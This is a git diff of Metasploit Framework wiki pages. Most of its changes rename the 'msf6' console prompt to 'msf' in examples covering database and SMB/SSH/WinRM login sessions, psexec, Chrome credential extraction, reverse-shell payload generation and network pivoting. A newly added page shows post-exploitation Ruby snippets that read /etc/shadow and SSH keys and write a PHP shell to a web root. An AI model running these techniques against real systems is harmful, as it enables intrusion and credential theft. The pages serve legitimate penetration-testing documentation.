@@ -61,7 +61,7 @@ on a successful login:
 Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
 
 ```msf
-msf6 auxiliary(scanner/mssql/mssql_login) > sessions
+msf auxiliary(scanner/mssql/mssql_login) > sessions
 
 Active sessions
 ===============
@@ -70,7 +70,7 @@ Active sessions
   --  ----  ----   -----------                      ----------
   1         mssql  MSSQL test @ 192.168.2.242:1433  192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
 
-msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
+msf auxiliary(scanner/mssql/mssql_login) > sessions -i 1
 [*] Starting interaction with 1...
 
 mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
@@ -146,7 +146,7 @@ This session also works with the following modules:
 To interact directly with the session as if in a SQL prompt, you can use the `query` command.
 
 ```msf
-msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
+msf auxiliary(scanner/mssql/mssql_login) > sessions -i -1
 [*] Starting interaction with 2...
 
 mssql @ 192.168.2.242:1433 (master) > query -h
@@ -224,8 +224,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Connect to a Microsoft SQL Server instance and run a query:
 
 ```msf
-msf6 > use auxiliary/admin/mssql/mssql_sql
-msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
+msf > use auxiliary/admin/mssql/mssql_sql
+msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
 [*] Reloading module...
 [*] Running module against 192.168.123.13
 

docs/metasploit-framework.wiki/Metasploit-Guide-MySQL.md

@@ -14,13 +14,13 @@ Metasploit has support for multiple MySQL modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search mysql
+msf > search mysql
 ```
 
 Or to search for modules that work with a specific session type:
 
 ```msf
-msf6 > search session_type:mysql
+msf > search session_type:mysql
 ```
 
 ### Lab Environment
@@ -92,15 +92,15 @@ for the MySQL client you're connecting to. The run command with CreateSession
 set to true should give you an interactive session:
 
 ```msf
-msf6 > use scanner/mysql/mysql_login 
-msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
+msf > use scanner/mysql/mysql_login 
+msf auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
 
 [+] 127.0.0.1:4306        - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
 [+] 127.0.0.1:4306        - 127.0.0.1:4306 - Success: 'root:password'
 [*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
 [*] 127.0.0.1:4306        - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
+msf auxiliary(scanner/mysql/mysql_login) > sessions -i -1
 [*] Starting interaction with 1...
 
 mysql @ 127.0.0.1:4306 >
@@ -110,7 +110,7 @@ You can interact with your new session using `sessions -i -1` or `sessions <sess
 You can also use `help` to get more information about how to use your session.
 
 ```msf
-msf6 auxiliary(scanner/mysql/mysql_login) > sessions
+msf auxiliary(scanner/mysql/mysql_login) > sessions
 
 Active sessions
 ===============
@@ -120,7 +120,7 @@ Active sessions
   2         mssql  MSSQL test @ 192.168.2.242:1433  192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
   3         mysql  MySQL root @ 127.0.0.1:4306      127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
 
-msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
+msf auxiliary(scanner/mysql/mysql_login) > sessions -i 3
 [*] Starting interaction with 3...
 ```
 

docs/metasploit-framework.wiki/Metasploit-Guide-Post-Gather-Modules.md

@@ -7,7 +7,7 @@ Metasploit post modules replace old Meterpreter scripts, which are no longer mai
 You can search for post gather modules within msfconsole:
 
 ```msf
-msf6 > search type:post platform:windows name:gather
+msf > search type:post platform:windows name:gather
 
 Matching Modules
 ================
@@ -26,8 +26,8 @@ There are two ways to launch a Post module, both require an existing session.
 Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
 
 ```msf
-msf6 > use post/windows/gather/enum_chrome
-msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
+msf > use post/windows/gather/enum_chrome
+msf post(windows/gather/enum_chrome) > run session=-1 verbose=true
 
 [*] Impersonating token: 7192
 [*] Running as user 'DESKTOP-N3MAG5R\basic_user'...
@@ -44,13 +44,13 @@ msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
 [+] Decrypted data: url:https://www.example.com/ my_username:my_password_123
 [+] Decrypted data saved in: /Users/user/.msf4/loot/20220422122129_default_192.168.123.151_chrome.decrypted_981698.txt
 [*] Post module execution completed
-msf6 post(windows/gather/enum_chrome) >
+msf post(windows/gather/enum_chrome) >
 ```
 
 Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value:
 
 ```msf
-msf6 > sessions --interact -1
+msf > sessions --interact -1
 [*] Starting interaction with 5...
 
 meterpreter > run post/windows/gather/enum_applications

docs/metasploit-framework.wiki/Metasploit-Guide-PostgreSQL.md

@@ -14,13 +14,13 @@ Metasploit has support for multiple PostgreSQL modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search postgres
+msf > search postgres
 ```
 
 Or to search for modules that work with a specific session type:
 
 ```msf
-msf6 > search session_type:postgres
+msf > search session_type:postgres
 ```
 
 
@@ -95,7 +95,7 @@ set to true should give you an interactive session.
 For example:
 
 ```msf
-msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
+msf auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
 ```
 
 Should yield:
@@ -111,7 +111,7 @@ You can interact with your session using `sessions -i -1` or `sessions <session
 Use the help command for more info.
 
 ```msf
-msf6 auxiliary(scanner/postgres/postgres_login) > sessions
+msf auxiliary(scanner/postgres/postgres_login) > sessions
 
 Active sessions
 ===============
@@ -120,7 +120,7 @@ Active sessions
   --  ----  ----        -----------                           ----------
   1         postgresql  PostgreSQL postgres @ 127.0.0.1:5432  127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
 
-msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
+msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1
 [*] Starting interaction with 1...
 ```
 
@@ -257,7 +257,7 @@ psql postgres://postgres:mysecretpassword@localhost:5432
 Metasploit's output will be:
 
 ```msf
-msf6 auxiliary(server/capture/postgresql) >
+msf auxiliary(server/capture/postgresql) >
 [*] Started service listener on 0.0.0.0:5432
 [*] Server started.
 [+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres

docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md

@@ -24,13 +24,13 @@ Metasploit has support for multiple SMB modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search smb
+msf > search smb
 ```
 
 Or to search for modules that work with a specific session type:
 
 ```msf
-msf6 > search session_type:smb
+msf > search session_type:smb
 ```
 
 ### Lab Environment
@@ -75,7 +75,7 @@ When using the smb_login module, the CreateSession option can be used to obtain
 session within the smb instance. Running with the following options:
 
 ```msf
-msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
+msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
 ```
 
 Should give you output similar to 
@@ -86,14 +86,14 @@ Should give you output similar to
 [*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
 [*] 172.14.2.164:445    - Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
+msf auxiliary(scanner/smb/smb_login) > sessions -i -1
 [*] Starting interaction with 1...
 ```
 
 Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
 
 ```msf
-msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
+msf auxiliary(scanner/smb/smb_login) > sessions -i -1
 [*] Starting interaction with 1...
 
 SMB (172.14.2.164) > shares
@@ -315,8 +315,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Running psexec against a host:
 
 ```msf
-msf6 > use exploit/windows/smb/psexec
-msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
+msf > use exploit/windows/smb/psexec
+msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
 
 [*] Started reverse TCP handler on 192.168.123.1:4444
 [*] 192.168.123.13:445 - Connecting to the server...

docs/metasploit-framework.wiki/Metasploit-Guide-SSH.md

@@ -12,7 +12,7 @@ Metasploit has support for multiple SSH modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search ssh
+msf > search ssh
 ```
 
 ### Lab Environment
@@ -61,8 +61,8 @@ docker run --rm -it --publish 127.0.0.1:2222:22 ssh_lab:latest
 It should now be possible to test the SSH login from msfconsole:
 
 ```msf
-msf6 > use scanner/ssh/ssh_login
-msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222
+msf > use scanner/ssh/ssh_login
+msf auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222
 
 [*] 127.0.0.1:2222 - Starting bruteforce
 [+] 127.0.0.1:2222 - Success: 'test_user:password123' 'uid=700(test_user) gid=700(test_user) groups=700(test_user),700(test_user) Linux 5a26fe63abef 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux '

docs/metasploit-framework.wiki/Metasploit-Guide-Setting-Module-Options.md

@@ -3,7 +3,7 @@
 Each Metasploit module has a set of options which must be set before running. These can be seen with the `show options` or `options` command:
 
 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > options
+msf exploit(windows/smb/ms17_010_eternalblue) > options
 
 Module options (exploit/windows/smb/ms17_010_eternalblue):
 
@@ -36,7 +36,7 @@ Exploit target:
 Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful:
 
 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > advanced
+msf exploit(windows/smb/ms17_010_eternalblue) > advanced
 
 Module advanced options (exploit/windows/smb/ms17_010_eternalblue):
 
@@ -61,7 +61,7 @@ Payload advanced options (windows/x64/meterpreter/reverse_tcp):
 You can see which options stilloptions to be set with the `show missing` command:
 
 ```msf
-msf6 exploit(windows/smb/ms17_010_eternalblue) > show missing
+msf exploit(windows/smb/ms17_010_eternalblue) > show missing
 
 Module options (exploit/windows/smb/ms17_010_eternalblue):
 

docs/metasploit-framework.wiki/Metasploit-Guide-WinRM.md

@@ -41,7 +41,7 @@ Metasploit has support for multiple WinRM modules, including:
 There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
 
 ```msf
-msf6 > search winrm
+msf > search winrm
 ```
 
 ### Lab Environment
@@ -70,7 +70,7 @@ run https://192.168.123.139:5986
 Example:
 
 ```msf
-msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985
+msf auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985
 
 [+] 192.168.123.139:5985: Negotiate protocol supported
 [+] 192.168.123.139:5985: Kerberos protocol supported
@@ -123,14 +123,14 @@ run http://user:pass@192.168.123.139:5985
 Example:
 
 ```msf
-msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985
+msf auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985
 
 [!] No active DB -- Credential data will not be saved!
 [+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass
 [*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 7...
 
 Microsoft Windows [Version 10.0.14393]
@@ -146,8 +146,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
 Open a WinRM session:
 
 ```msf
-msf6 > use auxiliary/scanner/winrm/winrm_login
-msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
+msf > use auxiliary/scanner/winrm/winrm_login
+msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
 
 [+] 192.168.123.13:88 - Received a valid TGT-Response
 [*] 192.168.123.13:5985   - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -159,7 +159,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
 [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed
-msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
+msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
 [*] Starting interaction with 1...
 
 Microsoft Windows [Version 10.0.14393]

docs/metasploit-framework.wiki/Metasploit-URL-support-proposal.md

@@ -61,7 +61,7 @@ When the user views the options for a given module, it will be consolidated. The
 Multiple options are available for configuring the module options:
 
 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options
 
 Module options (exploit/multi/http/tomcat_mgr_upload):
 
@@ -88,7 +88,7 @@ Exploit target:
  Multiple options are consolidated into a single TARGETS field:
 
 ```msf
-msf5 exploit(multi/http/tomcat_mgr_upload) > options
+msf exploit(multi/http/tomcat_mgr_upload) > options
 
 Module options (exploit/multi/http/tomcat_mgr_upload):
 

docs/metasploit-framework.wiki/Meterpreter-Debugging-Meterpreter-Sessions.md

@@ -8,7 +8,7 @@ There are currently two main ways to debug Meterpreter sessions:
 This can be enabled for any Meterpreter session, and does not require a debug Metasploit build:
 
 ```msf
-msf6 > setg SessionTlvLogging true
+msf > setg SessionTlvLogging true
 SessionTlvLogging => true
 ```
 

docs/metasploit-framework.wiki/Meterpreter-Reg-Command.md

@@ -62,7 +62,7 @@ The result of your registry queries can be impacted if you are interacting with
 You can see the type of session you currently have open with the `sessions` command:
 
 ```msf
-msf6 exploit(windows/smb/psexec) > sessions
+msf exploit(windows/smb/psexec) > sessions
 
 Active sessions
 ===============

docs/metasploit-framework.wiki/Modules.md

@@ -46,18 +46,18 @@ execute code such as adding user accounts, or executing a simple pingback comman
 Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
 
 ```msf
-msf6 payload(linux/x86/shell_reverse_tcp) > back
-msf6 > use payload/linux/x86/shell_reverse_tcp
-msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
+msf payload(linux/x86/shell_reverse_tcp) > back
+msf > use payload/linux/x86/shell_reverse_tcp
+msf payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
 lhost => 127.0.0.1
-msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
+msf payload(linux/x86/shell_reverse_tcp) > set lport 4444
 lport => 4444
 
 # Generate a payload for use within C
-msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
+msf payload(linux/x86/shell_reverse_tcp) > generate -f c
 
 # Generate an ELF file for execution on Linux environments
-msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
+msf payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
 ```
 
 ### Post modules ({{ site.metasploit_module_counts["post"] }})

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

@@ -36,8 +36,8 @@ One of the easiest ways to do this is to use the `post/multi/manage/autoroute` m
 ```msf
 meterpreter > background
 [*] Backgrounding session 1...
-msf6 exploit(multi/handler) > use post/multi/manage/autoroute
-msf6 post(multi/manage/autoroute) > show options
+msf exploit(multi/handler) > use post/multi/manage/autoroute
+msf post(multi/manage/autoroute) > show options
 
 Module options (post/multi/manage/autoroute):
 
@@ -49,13 +49,13 @@ Module options (post/multi/manage/autoroute):
    SESSION                   yes       The session to run this module on
    SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)
 
-msf6 post(multi/manage/autoroute) > set SESSION 1
+msf post(multi/manage/autoroute) > set SESSION 1
 SESSION => 1
-msf6 post(multi/manage/autoroute) > set SUBNET 169.254.0.0
+msf post(multi/manage/autoroute) > set SUBNET 169.254.0.0
 SUBNET => 169.254.0.0
-msf6 post(multi/manage/autoroute) > set NETMASK /16
+msf post(multi/manage/autoroute) > set NETMASK /16
 NETMASK => /16
-msf6 post(multi/manage/autoroute) > show options
+msf post(multi/manage/autoroute) > show options
 
 Module options (post/multi/manage/autoroute):
 
@@ -67,7 +67,7 @@ Module options (post/multi/manage/autoroute):
    SESSION  1                yes       The session to run this module on
    SUBNET   169.254.0.0      no        Subnet (IPv4, for example, 10.10.10.0)
 
-msf6 post(multi/manage/autoroute) > run
+msf post(multi/manage/autoroute) > run
 
 [!] SESSION may not be compatible with this module:
 [!]  * incompatible session platform: windows
@@ -76,12 +76,12 @@ msf6 post(multi/manage/autoroute) > run
 [+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
 [+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.
 [*] Post module execution completed
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 If we now use Meterpreter's `route` command we can see that we have two route table entries within Metasploit's routing table, that are tied to Session 1, aka the session on the Windows 11 machine. This means anytime we want to contact a machine within one of the networks specified, we will go through Session 1 and use that to connect to the targets.
 
 ```msf
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route
 
 IPv4 Active Routing Table
 =========================
@@ -92,16 +92,16 @@ IPv4 Active Routing Table
    172.19.176.0       255.255.240.0      Session 1
 
 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 
 All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
 
 ```msf
-msf6 post(multi/manage/autoroute) > route flush
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route flush
+msf post(multi/manage/autoroute) > route
 [*] There are currently no routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 Now lets trying doing the same thing manually.
 
@@ -109,13 +109,13 @@ Now lets trying doing the same thing manually.
 Here we can use `route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>` to add the routes from within Metasploit, followed by `route print` to then print all the routes that Metasploit knows about. Note that the Gateway parameter is either an IP address to use as the gateway or as is more commonly the case, the session ID of an existing session to use to pivot the traffic through.
 
 ```msf
-msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
+msf post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
 [*] Route added
-msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
+msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
 [-] Invalid gateway
-msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
+msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
 [*] Route added
-msf6 post(multi/manage/autoroute) > route print
+msf post(multi/manage/autoroute) > route print
 
 IPv4 Active Routing Table
 =========================
@@ -126,15 +126,15 @@ IPv4 Active Routing Table
    172.19.176.0       255.255.240.0      Session 1
 
 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 
 Finally we can check that the route will use session 1 by using `route get 169.254.204.110`
 
 ```msf
-msf6 post(multi/manage/autoroute) > route get 169.254.204.110
+msf post(multi/manage/autoroute) > route get 169.254.204.110
 169.254.204.110 routes through: Session 1
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 
 If we want to then remove a specific route (such as in this case we want to remove the 172.19.176.0/20 route since we don't need that for this test), we can issue the `route del` or `route remove` commands with the syntax `route remove <IP ADDRESS OF SUBNET><NETMASK IN SLASH FORMAT> <GATEWAY>`
@@ -142,9 +142,9 @@ If we want to then remove a specific route (such as in this case we want to remo
 Example:
 
 ```msf
-msf6 post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
+msf post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
 [*] Route removed
-msf6 post(multi/manage/autoroute) > route
+msf post(multi/manage/autoroute) > route
 
 IPv4 Active Routing Table
 =========================
@@ -154,14 +154,14 @@ IPv4 Active Routing Table
    169.254.0.0        255.255.0.0        Session 1
 
 [*] There are currently no IPv6 routes defined.
-msf6 post(multi/manage/autoroute) >
+msf post(multi/manage/autoroute) >
 ```
 
 ## Using the Pivot
 At this point we can now use the pivot with any Metasploit modules as shown below:
 
 ```msf
-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
 
 Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
 
@@ -208,11 +208,11 @@ Exploit target:
    0   Windows Command
 
 
-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check
 
 [*] Target is an Exchange Server!
 [*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
-msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
+msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
 ```
 
 ## SMB Named Pipe Pivoting in Meterpreter
@@ -222,23 +222,23 @@ The Windows Meterpreter payload supports lateral movement in a network through S
 First open a Windows Meterpreter session to the pivot machine:
 
 ```msf
-msf6 > use payload/windows/x64/meterpreter/reverse_tcp
-smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
+msf > use payload/windows/x64/meterpreter/reverse_tcp
+smsf payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
 lhost => 172.19.182.171
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
+msf payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
 lport => 4578
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
+msf payload(windows/x64/meterpreter/reverse_tcp) > to_handler
 [*] Payload Handler Started as Job 0
 
 [*] Started reverse TCP handler on 172.19.182.171:4578 
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
+msf payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
 [*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
 ```
 
 Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
 
 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
+msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
 [*] Starting interaction with 1...
 
 meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
@@ -250,7 +250,7 @@ meterpreter > background
 Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine.  Note there is no need to start a handler for the named pipe payload.
 
 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > show options
 
 Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
 
@@ -260,17 +260,17 @@ Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
    PIPEHOST  .                yes       Host of the pipe to connect to
    PIPENAME  msf-pipe         yes       Name of the pipe to listen on
 
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
 pipehost => 169.254.16.221
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
 [*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
 ```
 
 After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
 ```msf
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
 
-msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
+msf payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
 
 Active sessions
 ===============
@@ -384,8 +384,8 @@ Once routes are established, Metasploit modules can access the IP range specifie
 Metasploit can launch a SOCKS proxy server using the module: `auxiliary/server/socks_proxy`. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Here is an example of how this module might be used:
 
 ```msf
-msf6 > use auxiliary/server/socks_proxy
-msf6 auxiliary(server/socks_proxy) > show options
+msf > use auxiliary/server/socks_proxy
+msf auxiliary(server/socks_proxy) > show options
 
 Module options (auxiliary/server/socks_proxy):
 
@@ -407,16 +407,16 @@ Auxiliary action:
    Proxy  Run a SOCKS proxy server
 
 
-msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
+msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
 SRVHOST => 127.0.0.1
-msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
+msf auxiliary(server/socks_proxy) > set SRVPORT 1080
 SRVPORT => 1080
-msf6 auxiliary(server/socks_proxy) > run
+msf auxiliary(server/socks_proxy) > run
 [*] Auxiliary module running as background job 0.
-msf6 auxiliary(server/socks_proxy) >
+msf auxiliary(server/socks_proxy) >
 [*] Starting the SOCKS proxy server
 
-msf6 auxiliary(server/socks_proxy) > jobs
+msf auxiliary(server/socks_proxy) > jobs
 
 Jobs
 ====
@@ -425,7 +425,7 @@ Jobs
   --  ----                           -------  ------------
   0   Auxiliary: server/socks_proxy
 
-msf6 auxiliary(server/socks_proxy) >
+msf auxiliary(server/socks_proxy) >
 ```
 
 ### proxychains-ng Setup

docs/metasploit-framework.wiki/Post-Mixins.md

@@ -0,0 +1,192 @@
+# Post Exploitation Mixins
+
+Post exploitation mixins provide a consistent API for interacting with compromised systems across different session types (Meterpreter, shell, PowerShell). Located in `lib/msf/core/post/`, these mixins abstract platform and session type differences.
+
+## Msf::Post::Common
+
+Core utilities for command execution and session interaction.
+
+```ruby
+include Msf::Post::Common
+
+# Modern API - use create_process for commands with arguments
+output = create_process('grep', args: ['-r', pattern, '/var/log'], time_out: 30, opts: { 'Hidden' => true })
+
+# Legacy API - cmd_exec only for static command strings
+hostname = cmd_exec('hostname')
+
+# Environment variables
+env_vars = get_envs('HOME', 'USER', 'PATH')  # Returns hash of env vars
+home = get_env('HOME')                        # Single variable
+
+# Check command availability
+if command_exists?('python3')
+  version = create_process('python3', args: ['--version'])
+end
+
+# Session information
+target = "#{rhost}:#{rport}"  # Or use: peer
+```
+
+## Msf::Post::File
+
+Cross-platform file system operations.
+
+```ruby
+include Msf::Post::File
+
+# Navigation and listing
+current = pwd
+cd('/tmp')
+files = dir('/etc')  # or ls('/etc')
+
+# File checks
+if file?('/etc/passwd') && readable?('/etc/passwd')
+  content = read_file('/etc/passwd')
+  store_loot('passwd', 'text/plain', session, content)
+end
+
+if directory?('/var/www') && writable?('/var/www')
+  write_file('/var/www/shell.php', payload)
+end
+
+# File operations
+mkdir('/tmp/staging')              # Auto-registered for cleanup
+data = read_file('/etc/shadow')
+write_file('/tmp/output.txt', data)
+hash = file_remote_digestmd5('/bin/bash')
+
+# Path expansion
+expanded = expand_path('$HOME/.ssh/id_rsa')  # Unix
+expanded = expand_path('%APPDATA%\\data')     # Windows
+```
+
